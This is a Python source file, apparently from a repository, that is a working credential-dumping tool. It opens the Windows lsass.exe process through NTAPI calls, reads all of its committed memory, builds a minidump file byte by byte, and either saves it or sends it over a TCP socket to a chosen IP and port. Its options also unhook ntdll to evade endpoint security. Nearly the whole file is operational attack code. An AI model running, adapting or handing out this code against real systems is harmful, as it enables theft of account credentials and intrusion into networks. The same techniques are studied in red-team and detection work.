Files
2024-07-08 15:01:28 +02:00

484 lines
17 KiB
Python

import os, sys
import json
import psutil
import random
import string
import ctypes
from ctypes import wintypes
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import argparse
from overwrite import overwrite_disk, overwrite_knowndlls, overwrite_debugproc
import socket
# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MemoryBasicInformation = 0
ProcessBasicInformation = 0
PAGE_NOACCESS = 0x01
MEM_COMMIT = 0x00001000
# Structures
class OSVERSIONINFOEXW(ctypes.Structure):
_fields_ = [
("dwOSVersionInfoSize", wintypes.DWORD),
("dwMajorVersion", wintypes.DWORD),
("dwMinorVersion", wintypes.DWORD),
("dwBuildNumber", wintypes.DWORD),
("dwPlatformId", wintypes.DWORD),
("szCSDVersion", wintypes.WCHAR * 128),
("wServicePackMajor", wintypes.WORD),
("wServicePackMinor", wintypes.WORD),
("wSuiteMask", wintypes.WORD),
("wProductType", wintypes.BYTE),
("wReserved", wintypes.BYTE),
]
class PROCESS_BASIC_INFORMATION(ctypes.Structure):
_fields_ = [
("Reserved1", wintypes.LPVOID),
("PebBaseAddress", wintypes.LPVOID),
("Reserved2", wintypes.LPVOID * 2),
("UniqueProcessId", wintypes.HANDLE),
("Reserved3", wintypes.LPVOID)
]
class MEMORY_BASIC_INFORMATION(ctypes.Structure):
_fields_ = [
('BaseAddress', wintypes.LPVOID),
('AllocationBase', wintypes.LPVOID),
('AllocationProtect', wintypes.DWORD),
('RegionSize', ctypes.c_size_t),
('State', wintypes.DWORD),
('Protect', wintypes.DWORD),
('Type', wintypes.DWORD)
]
class CLIENT_ID(ctypes.Structure):
_fields_ = [
("UniqueProcess", wintypes.HANDLE),
("UniqueThread", wintypes.HANDLE)
]
class OBJECT_ATTRIBUTES(ctypes.Structure):
_fields_ = [
("Length", wintypes.ULONG),
("RootDirectory", wintypes.HANDLE),
("ObjectName", wintypes.LPVOID),
("Attributes", wintypes.ULONG),
("SecurityDescriptor", wintypes.LPVOID),
("SecurityQualityOfService", wintypes.LPVOID)
]
def initialize_object_attributes():
return OBJECT_ATTRIBUTES(
Length=ctypes.sizeof(OBJECT_ATTRIBUTES),
RootDirectory=None,
ObjectName=None,
Attributes=0,
SecurityDescriptor=None,
SecurityQualityOfService=None
)
# NTAPI functions
ntdll = ctypes.WinDLL("ntdll")
NtQueryInformationProcess = ntdll.NtQueryInformationProcess
NtQueryInformationProcess.restype = wintypes.LONG
NtQueryInformationProcess.argtypes = [wintypes.HANDLE, wintypes.ULONG, wintypes.HANDLE, wintypes.ULONG, wintypes.PULONG]
NtReadVirtualMemory = ntdll.NtReadVirtualMemory
NtReadVirtualMemory.restype = wintypes.LONG
NtReadVirtualMemory.argtypes = [
wintypes.HANDLE, # ProcessHandle
wintypes.LPVOID, # BaseAddress
wintypes.LPVOID, # Buffer
wintypes.ULONG, # NumberOfBytesToRead
wintypes.PULONG # NumberOfBytesRead
]
NtQueryVirtualMemory = ntdll.NtQueryVirtualMemory
NtQueryVirtualMemory.restype = wintypes.DWORD
NtQueryVirtualMemory.argtypes = [
wintypes.HANDLE, # ProcessHandle
wintypes.LPVOID, # BaseAddress
wintypes.DWORD, # MemoryInformationClass
wintypes.LPVOID, # MemoryInformation
wintypes.ULONG, # MemoryInformationLength
wintypes.LPVOID # ReturnLength (optional)
]
NtOpenProcess = ntdll.NtOpenProcess
NtOpenProcess.restype = wintypes.LONG
NtOpenProcess.argtypes = [
wintypes.HANDLE, # ProcessHandle
wintypes.DWORD, # DesiredAccess
wintypes.LPVOID, # ObjectAttributes
wintypes.LPVOID # ClientId
]
RtlGetVersion = ntdll.RtlGetVersion
RtlGetVersion.restype = wintypes.LONG
def get_random_string(length):
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choices(characters, k=length))
return random_string
def get_pid(process_name):
for proc in psutil.process_iter(['pid', 'name']):
if proc.info['name'] == process_name:
return proc.info['pid']
def open_process(pid):
process_handle = wintypes.HANDLE()
obj_attributes = initialize_object_attributes()
client_id = CLIENT_ID(
UniqueProcess=ctypes.c_void_p(pid),
UniqueThread=None
)
status = NtOpenProcess(
ctypes.byref(process_handle),
PROCESS_ALL_ACCESS,
ctypes.byref(obj_attributes),
ctypes.byref(client_id)
)
if status != 0 or not process_handle:
print("[-] Could not open handle to the process. Not running as administrator maybe?")
sys.exit(0)
return process_handle
def read_remoteintptr(process_handle, mem_address):
buffer = ctypes.create_string_buffer(8)
bytes_read = wintypes.ULONG(0)
status = NtReadVirtualMemory(
process_handle,
mem_address,
buffer,
8,
ctypes.byref(bytes_read)
)
if status != 0:
return
read_bytes = buffer.raw[:bytes_read.value][::-1]
read_int = int(str((read_bytes).hex()),16)
return read_int
def read_remoteWStr(process_handle, mem_address):
buffer = ctypes.create_string_buffer(256)
bytes_read = wintypes.ULONG(0)
status = NtReadVirtualMemory(
process_handle,
mem_address,
buffer,
256,
ctypes.byref(bytes_read)
)
if status != 0:
return ""
read_bytes = buffer.raw[:bytes_read.value]
index = read_bytes.find(b'\x00\x00')
unicode_str = (read_bytes[:index].decode('unicode-escape'))
unicode_str_clean = "".join(char for char in unicode_str if char.isprintable())
return unicode_str_clean
def update_json_array(data, name_to_update, field_to_update, new_value):
for obj in data:
if obj.get('BaseName') == name_to_update:
obj[field_to_update] = new_value
break
return data
def get_modules_info(process_handle):
process_information = PROCESS_BASIC_INFORMATION()
return_length = wintypes.ULONG()
status = NtQueryInformationProcess(
process_handle,
ProcessBasicInformation,
ctypes.byref(process_information),
ctypes.sizeof(process_information),
ctypes.byref(return_length)
)
if status != 0:
raise ctypes.WinError(ctypes.get_last_error())
print("[+] PEB Base Address: \t" + str(hex(process_information.PebBaseAddress)))
ldr_offset = 0x18
ldr_pointer = process_information.PebBaseAddress + ldr_offset
ldr_address = read_remoteintptr(process_handle, ldr_pointer)
inInitializationOrderModuleList_offset = 0x30
InInitializationOrderModuleList = ldr_address + inInitializationOrderModuleList_offset
next_flink = read_remoteintptr(process_handle, InInitializationOrderModuleList)
dll_base = 1337
flink_dllbase_offset = 0x20
flink_buffer_fulldllname_offset = 0x40
flink_buffer_offset = 0x50
moduleinfo_arr = []
while (dll_base != 0):
next_flink = next_flink - 0x10
dll_base = read_remoteintptr(process_handle, (next_flink + flink_dllbase_offset))
if dll_base == 0:
break
buffer = read_remoteintptr(process_handle, (next_flink + flink_buffer_offset))
base_dll_name = read_remoteWStr(process_handle, buffer)
buffer = read_remoteintptr(process_handle, (next_flink + flink_buffer_fulldllname_offset))
full_dll_path = read_remoteWStr(process_handle, buffer)
module_info = {
"BaseName" : base_dll_name,
"FullDllName" : full_dll_path,
"BaseAddress" : hex(dll_base),
"RegionSize" : 0
}
moduleinfo_arr.append(module_info)
next_flink = read_remoteintptr(process_handle, (next_flink + 0x10))
return moduleinfo_arr
def create_file(dump_file, output_file):
with open(output_file, "wb") as binary_file:
binary_file.write(dump_file)
def exfiltrate_file(dump_file, ip_address, port_address):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address,int(port_address)))
s.sendall(dump_file)
s.close()
def read_binary_file(file_path):
with open(file_path, 'rb') as file:
byte_array = file.read()
return byte_array
def get_dump_bytearr(os_version, moduleinfo_arr, mem64list_arr, regions_memdump):
# Calculations
number_modules = str(len(moduleinfo_arr))
modulelist_size = 4
modulelist_size += 108*int(number_modules)
for module in moduleinfo_arr:
module_fullpath_len = len(module.get("FullDllName"))
modulelist_size += (module_fullpath_len*2 + 8)
mem64list_offset = modulelist_size + 0x7c
mem64list_size = 16 + 16*len(mem64list_arr)
offset_memory_regions = mem64list_offset + mem64list_size
print("[+] Total number of modules: \t" + number_modules)
print("[+] ModuleListStream size: \t" + str(modulelist_size))
print("[+] Mem64List offset: \t\t" + str(mem64list_offset))
print("[+] Mem64List size: \t\t" + str(mem64list_size))
# Header
header = b'\x4d\x44\x4d\x50' # Signature
header += b'\x93\xa7' # Version
header += b'\x00\x00' # ImplementationVersion
header += b'\x03\x00\x00\x00' # NumberOfStreams
header += b'\x20\x00\x00\x00' # StreamDirectoryRva
header += b'\x00'*(32 - len(header)) # Other fields
# Stream Directory
stream_directory = b'\x04\x00\x00\x00' # Type 4 = ModuleListStream
stream_directory += modulelist_size.to_bytes(4, 'little') # Size
stream_directory += b'\x7c\x00\x00\x00' # Address
stream_directory += b'\x07\x00\x00\x00' # Type 7 = SystemInfoStream
stream_directory += b'\x38\x00\x00\x00' # Size = 56 (constant)
stream_directory += b'\x44\x00\x00\x00' # Address = 0x44 (constant)
stream_directory += b'\x09\x00\x00\x00' # Type 9 = Memory64ListStream
stream_directory += mem64list_size.to_bytes(4, 'little') # # Size
stream_directory += mem64list_offset.to_bytes(4, 'little') # Address
# SystemInfoStream
processor_architecture = 9
majorversion = int(os_version.get("MajorVersion"))
minorversion = int(os_version.get("MinorVersion"))
build_number = int(os_version.get("BuildNumber"))
systeminfo_stream = processor_architecture.to_bytes(2, 'little') # Processor architecture
systeminfo_stream += b'\x00'*6
systeminfo_stream += majorversion.to_bytes(4, 'little') # Major version
systeminfo_stream += minorversion.to_bytes(4, 'little') # Minor version
systeminfo_stream += build_number.to_bytes(4, 'little') # Build number
systeminfo_stream += b'\x00'*(56-len(systeminfo_stream))
# ModuleListStream
modulelist_stream = int(number_modules).to_bytes(4, 'little') # NumberOfModules
pointer_index = 0x7c
pointer_index += len(modulelist_stream) # 4
pointer_index += 108*int(number_modules)
for module in moduleinfo_arr:
modulelist_stream += int(module.get("BaseAddress"),16).to_bytes(8, 'little') # Module Address
modulelist_stream += int(module.get("RegionSize")).to_bytes(8, 'little') # Module Size
modulelist_stream += b'\x00'*4
modulelist_stream += pointer_index.to_bytes(8, 'little') # Pointer to unicode string
full_path = module.get("FullDllName")
pointer_index += len(full_path)*2 + 8
modulelist_stream += b'\x00'*(108-(8+8+4+8))
for module in moduleinfo_arr:
full_path = module.get("FullDllName")
unicode_bytearr = bytearray(full_path.encode('utf-16-le'))
modulelist_stream += (len(full_path)*2).to_bytes(4, 'little') # Unicode length
modulelist_stream += unicode_bytearr # Unicode string
modulelist_stream += 4*b'\x00' # Empty character + padding
# Memory64List
memory64list_stream = len(mem64list_arr).to_bytes(8, 'little') # NumberOfEntries
memory64list_stream += offset_memory_regions.to_bytes(8, 'little') # MemoryRegionsBaseAddress
for mem64 in mem64list_arr:
memory64list_stream += int(mem64.get("BaseAddress"),16).to_bytes(8, 'little') # Mem64 Address
memory64list_stream += int(mem64.get("RegionSize")).to_bytes(8, 'little') # Mem64 Size
dump_file = header + stream_directory + systeminfo_stream + modulelist_stream + memory64list_stream + regions_memdump
return dump_file
def get_os_version():
os_version_info = OSVERSIONINFOEXW()
os_version_info.dwOSVersionInfoSize = ctypes.sizeof(OSVERSIONINFOEXW)
status = RtlGetVersion(ctypes.byref(os_version_info))
lock_info = None
if status == 0:
lock_info = [{
"MajorVersion": str(os_version_info.dwMajorVersion),
"MinorVersion": str(os_version_info.dwMinorVersion),
"BuildNumber": str(os_version_info.dwBuildNumber)
}]
else:
print("[-] Failed to get version information")
return lock_info
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-o', '--option', required=False, default="", action='store', help='Option for library overwrite: \"disk\", \"knowndlls\" or \"debugproc\"')
parser.add_argument('-k', '--path' , required=False, default="", action='store', help='Path to ntdll file in disk (for \"disk\" option) or program to open in debug mode (\"debugproc\" option)')
parser.add_argument('-i', '--ip' , required=False, default="", action='store', help='IP Address for exfiltration')
parser.add_argument('-p', '--port' , required=False, default="", action='store', help='Port for exfiltration')
my_args = parser.parse_args()
return my_args
def main():
args = get_args()
option = args.option
if option == "disk":
path = "C:\\Windows\\System32\\ntdll.dll"
if args.path != "":
path = args.path
overwrite_disk(path)
elif option == "knowndlls":
overwrite_knowndlls()
elif option == "debugproc":
path = "c:\\windows\\system32\\calc.exe"
if args.path != "":
path = args.path
overwrite_debugproc(path)
else:
pass
pid_ = get_pid("lsass.exe")
if pid_:
print("[+] PID: \t\t" + str(pid_))
else:
print("[-] PID not found")
process_handle = open_process(pid_)
print("[+] Process handle: \t" + str(process_handle.value))
# Get ModuleList information
moduleinfo_arr = get_modules_info(process_handle)
# Loop memory regions
mem_address = 0
proc_max_address_l = 0x7FFFFFFEFFFF
aux_size = 0
aux_name = ""
mem64list_arr = []
regions_memdump = b''
while (mem_address < proc_max_address_l):
memory_info = MEMORY_BASIC_INFORMATION()
memory_info_size = ctypes.sizeof(memory_info)
return_length = ctypes.c_size_t()
status = NtQueryVirtualMemory(
process_handle,
mem_address,
MemoryBasicInformation,
ctypes.byref(memory_info),
memory_info_size,
ctypes.byref(return_length)
)
# Page is accessible and committed
if memory_info.Protect != PAGE_NOACCESS and memory_info.State == MEM_COMMIT:
# Update Module Size for ModuleList stream
matching_object = next((obj for obj in moduleinfo_arr if obj.get('BaseName') == aux_name), {"BaseName" : "0", "FullDllName" : "0", "BaseAddress" : "0", "RegionSize" : "0"})
if memory_info.RegionSize == 0x1000 and memory_info.BaseAddress != matching_object.get("BaseAddress"):
update_json_array(moduleinfo_arr, aux_name, "RegionSize", aux_size)
matching_object = next((obj for obj in moduleinfo_arr if obj.get('BaseName') == aux_name), {"BaseName" : "0", "FullDllName" : "0", "BaseAddress" : "0", "RegionSize" : "0"})
for i in moduleinfo_arr:
if int(memory_info.BaseAddress) == int(i.get("BaseAddress"),16):
aux_name = i.get("BaseName")
aux_size = memory_info.RegionSize
else:
aux_size += memory_info.RegionSize
# Dump memory region
buffer = ctypes.create_string_buffer(memory_info.RegionSize)
bytes_read = wintypes.ULONG(0)
status = NtReadVirtualMemory(
process_handle,
memory_info.BaseAddress,
buffer,
memory_info.RegionSize,
ctypes.byref(bytes_read)
)
if status == 0:
regions_memdump += buffer.raw
mem64list_arr.append({"BaseAddress": hex(mem_address), "RegionSize": memory_info.RegionSize})
mem_address += memory_info.RegionSize
os_version = get_os_version()[0]
dump_file_bytes = get_dump_bytearr(os_version, moduleinfo_arr, mem64list_arr, regions_memdump)
dump_file_name = "proc_" + str(pid_) + ".dmp"
if args.ip == "" or args.port == "":
create_file(dump_file_bytes, dump_file_name)
print("[+] File " + dump_file_name + " created.")
else:
exfiltrate_file(dump_file_bytes, args.ip, args.port)
print("[+] File exfiltrated.")
if __name__ == "__main__":
main()